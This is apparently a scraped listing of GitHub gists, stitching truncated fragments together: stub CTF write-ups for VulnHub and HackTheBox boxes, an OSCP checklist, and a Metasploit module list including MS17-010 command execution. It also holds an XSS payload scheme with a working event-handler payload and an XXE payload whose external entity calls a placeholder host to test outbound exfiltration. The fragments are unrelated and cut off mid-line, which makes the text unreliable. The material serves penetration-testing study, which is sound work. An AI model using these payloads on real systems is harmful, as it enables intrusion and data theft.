FB fb11

This gist has been DEPRECATED.

The official version is found at https://berzerk0.github.io/GitPage/CTF-Writeups/LazySysAdmin-VulnHub.html

Updates will be reflected on GITPAGE VERSIONS ONLY

CTF Writeup: LazySysAdmin on VulnHub

8 November 2017

A fun box from Vulnhub, written by Togie McDogie. You can find it here at https://www.vulnhub.com/entry/lazysysadmin-1,205/

This gist has been DEPRECATED.

The official version is found at https://berzerk0.github.io/GitPage/CTF-Writeups/ZorZ-Vulnhub.html

Updates will be reflected on GITPAGE VERSIONS ONLY

A Few WebApp File Upload Vulnerabilities Explained - CTF Writeup: Zorz

20 November 2017

This is "CTF" is more of a vulnerability sandbox than a true Capture the Flag challenge. However, it is a great way to explore some WebApp Upload vulnerabilities.

The VulnHub description says:

This gist has been DEPRECATED.

The official version is found at https://berzerk0.github.io/GitPage/CTF-Writeups/Europa-HTB.html

Updates, and editing will happen to the GITPAGE VERSIONS ONLY

CTF Writeup: Europa on HackTheBox

2 December 2017

This gist has been DEPRECATED.

The official version is found at https://berzerk0.github.io/GitPage/CTF-Writeups/Blocky-HTB.html

Updates, and editing will happen to the GITPAGE VERSIONS ONLY

CTF Writeup: Blocky on HackTheBox

9 December 2017

How to pass the OSCP

Recon
Find vuln
Exploit
Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

Credit: @brutelogic (blog)

Summary

The XSS payloads and schemes used in all posts for a quick reference.

XSS Payload Scheme

extra1 <tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3

Agnostic Event Handlers

<brute contenteditable onblur=alert(1)>lose focus!

	auxiliary/admin/http/cnpilot_r_cmd_exec normal Cambium cnPilot r200/r201 Command Execution as 'root'
	auxiliary/admin/http/cnpilot_r_fpt normal Cambium cnPilot r200/r201 File Path Traversal
	auxiliary/admin/http/mantisbt_password_reset 2017-04-16 normal MantisBT password reset
	auxiliary/admin/http/pfadmin_set_protected_alias 2017-02-03 normal Postfixadmin Protected Alias Deletion Vulnerability
	auxiliary/admin/http/ulterius_file_download normal Ulterius Server File Download Vulnerability
	auxiliary/admin/smb/ms17_010_command 2017-03-14 normal MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
	auxiliary/dos/cisco/ios_telnet_rocem 2017-03-17 normal Cisco IOS Telnet Denial of Service
	auxiliary/dos/ht

	#!/bin/bash

	BLACK="\033[30m"
	RED="\033[31m"
	GREEN="\033[32m"
	YELLOW="\033[33m"
	BLUE="\033[34m"
	PINK="\033[35m"
	CYAN="\033[36m"
	WHITE="\033[37m"

	--------------------------------------------------------------
	Vanilla, used to verify outbound xxe or blind xxe
	--------------------------------------------------------------

	<?xml version="1.0" ?>
	<!DOCTYPE r [
	<!ELEMENT r ANY >
	<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
	]>
	<r>&sp;</r>